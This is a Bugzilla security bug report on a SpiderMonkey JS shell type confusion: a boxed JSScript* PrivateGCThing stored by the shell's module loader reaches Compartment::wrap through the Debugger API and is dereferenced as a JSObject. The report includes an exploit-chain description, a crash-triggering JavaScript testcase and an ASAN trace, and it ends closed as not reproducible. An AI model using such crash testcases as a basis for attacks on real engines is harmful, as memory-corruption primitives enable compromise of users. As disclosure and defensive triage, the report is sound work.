Closed Bug 2049413 Opened 4 months ago Closed 2 months ago

Type confusion crash [@ JSObject::shape] via PrivateGCThing leaked through shell ModuleLoader closure to Debugger

Categories

(Core :: JavaScript Engine, defect, P3)

defect

Tracking

()

RESOLVED WORKSFORME

People

(Reporter: bugmon, Unassigned)

References

(Blocks 1 open bug)

Details

(Keywords: ai-involved, assertion, testcase)

Attachments

(3 files)

The JS shell's ModuleLoader::dynamicImport stores a PrivateGCThingValue wrapping a JSScript* as a normal data property ("referrer") on a plain object, then resolves an internal Promise with that object. Because the Promise is created in the debuggee global, a Debugger with an onPromiseSettled hook receives a Debugger.Object for the closure and can call getOwnPropertyDescriptor("referrer") on it.

DebuggerObject::getOwnPropertyDescriptor reads the property value and passes it to Debugger::wrapDebuggeeValue. That function handles isObject() and isMagic(), then defers everything else to Compartment::wrap. Compartment::wrap handles symbol/string/bigint, asserts vp.isObject() for the remainder, and calls vp.toObject(). A PrivateGCThing value is a GC thing but is none of object/symbol/string/bigint/magic, so in a debug build the MOZ_ASSERT(vp.isObject()) at Compartment-inl.h:64 fails, and in an opt/ASAN build vp.toObject() extracts the payload through the wrong tag, yielding a wild pointer that is immediately dereferenced as a JSObject in ObjectWrapperMap::lookup → JSObject::compartment → JSObject::shape, producing a SEGV at an unmapped address.

The value-producing side lives in shell-only code (js/src/shell/ModuleLoader.cpp) and observation requires the privileged Debugger API, so web content cannot reach this path in Firefox. It nonetheless demonstrates that neither Debugger::wrapDebuggeeValue nor Compartment::wrap(MutableHandleValue) defend against PrivateGCThing values; any embedding that stores such a value on a Debugger-reachable object property hits the same type confusion.

Build Info

Affected Code

File: js/src/shell/ModuleLoader.cpp, line 340-381

RootedValue moduleRequestValue(cx, ObjectValue(*moduleRequest));
RootedObject closure(cx, JS_NewObjectWithGivenProto(cx, nullptr, nullptr));
RootedValue referrerValue(cx);
if (referrer) {
  referrerValue = PrivateGCThingValue(referrer);   // JSScript* boxed as PrivateGCThing
} else {
  ...
  referrerValue = PrivateGCThingValue(script);
}
MOZ_ASSERT(!referrerValue.isUndefined());

if (!closure ||
    !JS_DefineProperty(cx, closure, "referrer", referrerValue,   // stored as a normal data property
                       JSPROP_ENUMERATE) ||
    ... ) {
  return false;
}
...
RootedValue closureValue(cx, ObjectValue(*closure));
delayPromise = PromiseObject::unforgeableResolve(cx, closureValue);  // Debugger.onPromiseSettled sees this

File: js/src/debugger/Object.cpp, line 2212-2238

bool DebuggerObject::getOwnPropertyDescriptor(...) {
  ...
  if (!GetOwnPropertyDescriptor(cx, referent, id, desc_)) {  // reads PrivateGCThingValue
    return false;
  }
  ...
  if (desc.hasValue()) {
    if (!dbg->wrapDebuggeeValue(cx, desc.value())) {         // passes it to wrapDebuggeeValue
      return false;
    }
  }

File: js/src/debugger/Debugger.cpp, line 1477-1524

bool Debugger::wrapDebuggeeValue(JSContext* cx, MutableHandleValue vp) {
  cx->check(object.get());

  if (vp.isObject()) {                 // false for PrivateGCThing
    ...
  } else if (vp.isMagic()) {           // false for PrivateGCThing
    ...
  } else if (!cx->compartment()->wrap(cx, vp)) {   // falls through here
    vp.setUndefined();
    return false;
  }
  return true;
}

File: js/src/vm/Compartment-inl.h, line 29-90

inline bool JS::Compartment::wrap(JSContext* cx, JS::MutableHandleValue vp) {
  if (!vp.isGCThing()) {               // PrivateGCThing IS a GC thing
    return true;
  }
  if (vp.isSymbol()) { ... }
  if (vp.isString()) { ... }
  if (vp.isBigInt()) { ... }

  MOZ_ASSERT(vp.isObject());           // <-- debug assert fails here
  ...
  if (js::ObjectWrapperMap::Ptr p = lookupWrapper(&vp.toObject())) {  // <-- opt: tag-corrupted JSObject*
    ...

The shell module loader stores a PrivateGCThingValue on a plain object property that is later observable via the Debugger; wrapDebuggeeValue/Compartment::wrap have no case for PrivateGCThing and treat it as an Object.

Exploit Chain

  1. Create a debuggee global in a separate compartment and attach a Debugger with an onPromiseSettled hook.
  2. In the debuggee, evaluate a dynamic import() expression. js::shell::ModuleLoader::dynamicImport builds a plain closure object and defines closure.referrer = PrivateGCThingValue(script) (a boxed JSScript*).
  3. ModuleLoader resolves an internal Promise with closure as its fulfillment value; DebugAPI::onPromiseSettled fires the hook and hands the debugger a Debugger.Object wrapping that Promise.
  4. The hook reads promiseValue (a Debugger.Object for closure) and calls getOwnPropertyDescriptor("referrer"), which fetches the PrivateGCThingValue and passes it to Debugger::wrapDebuggeeValue.
  5. wrapDebuggeeValue falls through the isObject()/isMagic() checks to Compartment::wrap, which assumes the remaining GC-thing case is an Object. In debug builds MOZ_ASSERT(vp.isObject()) fails; in opt builds vp.toObject() yields a tag-corrupted pointer (JSScript* bits XORed with the Object tag).
  6. ObjectWrapperMap::lookup → JSObject::compartment → JSObject::shape dereferences the bogus pointer, causing a wild-address SEGV (type confusion between JSScript* / PrivateGCThing and JSObject*).

Steps to Reproduce

  1. Build the SpiderMonkey shell with AddressSanitizer (e.g. mozconfig.linux.asan.fuzzing).
  2. Save the testcase below as test.js.
  3. Run: obj-asan/dist/bin/js --fuzzing-safe test.js
  4. Observe an ASAN SEGV at a wild address in js::gc::HeaderWord::get() / JSObject::shape via Compartment::wrap → Debugger::wrapDebuggeeValue. A debug build instead hits 'Assertion failure: vp.isObject(), at js/src/vm/Compartment-inl.h:64'.
  5. Testcase:
    var g = newGlobal({newCompartment: true});
    var dbg = new Debugger(g);
    dbg.onPromiseSettled = function(p) {
    if (p.promiseState !== "fulfilled") return;
    var v = p.promiseValue;
    if (!(v instanceof Debugger.Object)) return;
    try { v.getOwnPropertyDescriptor("referrer"); } catch (e) {}
    };
    g.eval("import('./x.js').catch(e => {})");
    drainJobQueue();

Security Impact

  • Severity: Low
  • Attacker capability: Type confusion / wild pointer dereference: a PrivateGCThing-tagged JS::Value (boxing a JSScript*) is reinterpreted as a JSObject* and dereferenced. As reproduced this is a read at an address derived from XORing mismatched NaN-box tags, which is not attacker-controlled and crashes safely; however the underlying invariant violation (Compartment::wrap assumes any non-string/symbol/bigint GC thing is an Object) is a genuine type-confusion primitive if a PrivateGCThing value reaches it through other paths.
  • Preconditions: Requires the JS shell's module loader (js/src/shell/ModuleLoader.cpp — not shipped in the Firefox browser) and the privileged Debugger API (newGlobal({newCompartment:true}) + new Debugger), neither of which is reachable from web content. Not exploitable from a content process in Firefox.

ASAN Report

AddressSanitizer:DEADLYSIGNAL
=================================================================
==21757==ERROR: AddressSanitizer: SEGV on unknown address 0x439bb49bc416 (pc 0x57070f5844ec bp 0x7ffd230cee30 sp 0x7ffd230cedf0 T0)
==21757==The signal is caused by a READ memory access.
    #0 0x57070f5844ec in js::gc::HeaderWord::get() const /firefox/js/src/gc/Cell.h:113:23
    #1 0x57070f5844ec in js::gc::CellWithTenuredGCPointer<js::gc::Cell, js::Shape>::headerPtr() const /firefox/js/src/gc/Cell.h:846:60
    #2 0x57070f5844ec in JSObject::shape() const /firefox/js/src/vm/JSObject.h:92:37
    #3 0x57070f5844ec in JSObject::compartment() const /firefox/js/src/vm/JSObject.h:144:49
    #4 0x57070f5844ec in js::ObjectWrapperMap::lookup(JSObject*) const /firefox/js/src/vm/Compartment.h:169:31
    #5 0x57070f583f5f in JS::Compartment::lookupWrapper(JSObject*) const /firefox/js/src/vm/Compartment.h:375:43
    #6 0x57070f583f5f in JS::Compartment::wrap(JSContext*, JS::MutableHandle<JS::Value>) /firefox/js/src/vm/Compartment-inl.h:90:37
    #7 0x57070fa57ba5 in js::Debugger::wrapDebuggeeValue(JSContext*, JS::MutableHandle<JS::Value>) /firefox/js/src/debugger/Debugger.cpp:1521:34
    #8 0x57070fb7df11 in js::DebuggerObject::getOwnPropertyDescriptor(JSContext*, JS::Handle<js::DebuggerObject*>, JS::Handle<JS::PropertyKey>, JS::MutableHandle<mozilla::Maybe<JS::PropertyDescriptor>>) /firefox/js/src/debugger/Object.cpp:2236:17
    #9 0x57070fb7d71a in js::DebuggerObject::CallData::getOwnPropertyDescriptorMethod() /firefox/js/src/debugger/Object.cpp:828:8
    #10 0x57070fbb37f2 in bool js::DebuggerObject::CallData::ToNative<&js::DebuggerObject::CallData::getOwnPropertyDescriptorMethod()>(JSContext*, unsigned int, JS::Value*) /firefox/js/src/debugger/Object.cpp:229:10
    #11 0x57071115d7ca in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /firefox/js/src/vm/Interpreter.cpp:498:13
    #12 0x57071115d7ca in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /firefox/js/src/vm/Interpreter.cpp:594:12
    ...
    #22 0x57070fa69b20 in js::Debugger::firePromiseHook(JSContext*, js::Debugger::Hook, JS::Handle<JSObject*>) /firefox/js/src/debugger/Debugger.cpp:3096:13
    #30 0x57070fa6a7d8 in js::Debugger::slowPathPromiseHook(JSContext*, js::Debugger::Hook, JS::Handle<js::PromiseObject*>) /firefox/js/src/debugger/Debugger.cpp:3119:3
    #31 0x57070f8bcba0 in js::DebugAPI::onPromiseSettled(JSContext*, JS::Handle<js::PromiseObject*>) /firefox/js/src/debugger/DebugAPI-inl.h:186:5
    #32 0x57070f8bcba0 in js::PromiseObject::onSettled(JSContext*, JS::Handle<js::PromiseObject*>, JS::Handle<js::SavedFrame*>) /firefox/js/src/builtin/Promise.cpp:8005:3
    #33 0x57070f8bcba0 in ResolvePromise(JSContext*, JS::Handle<js::PromiseObject*>, JS::Handle<JS::Value>, JS::PromiseState, JS::Handle<js::SavedFrame*>) /firefox/js/src/builtin/Promise.cpp:2075:3
    #39 0x57070f8c4616 in js::PromiseObject::unforgeableResolve(JSContext*, JS::Handle<JS::Value>) /firefox/js/src/builtin/Promise.cpp:6120:10
    #40 0x57070f4f7509 in js::shell::ModuleLoader::dynamicImport(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::Handle<JS::Value>) /firefox/js/src/shell/ModuleLoader.cpp:381:18
    #41 0x57070f4f21a4 in js::shell::ModuleLoader::loadImportedModule(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::Handle<JS::Value>) /firefox/js/src/shell/ModuleLoader.cpp:251:12
    #42 0x5707116b3ac6 in js::HostLoadImportedModule(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, unsigned int, JS::ColumnNumberOneOrigin) /firefox/js/src/vm/Modules.cpp:855:13
    #44 0x5707116b8931 in js::StartDynamicModuleImport(JSContext*, JS::Handle<JSScript*>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::ImportPhase) /firefox/js/src/vm/Modules.cpp:2839:8
    #45 0x570711169010 in js::Interpret(JSContext*, js::RunState&) /firefox/js/src/vm/Interpreter.cpp:4396:11
    ...
SUMMARY: AddressSanitizer: SEGV /firefox/js/src/gc/Cell.h:113:23 in js::gc::HeaderWord::get() const
==21757==ABORTING

[Debug build: Assertion failure: vp.isObject(), at /firefox/js/src/vm/Compartment-inl.h:64]
Attached file trace.jsonl —
Attached file testcase.js —
Attached patch fix.patch — — Splinter Review
Attached file crash_stack.txt —
Group: core-security → javascript-core-security
Blocks: sm-security
Severity: -- → S3
Priority: -- → P3

JS shell only, requires the debugger API, and no longer reproduces after bug 1968904 changed our implementation.

Group: javascript-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 2 months ago
Keywords: sec-other
Resolution: --- → WORKSFORME
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: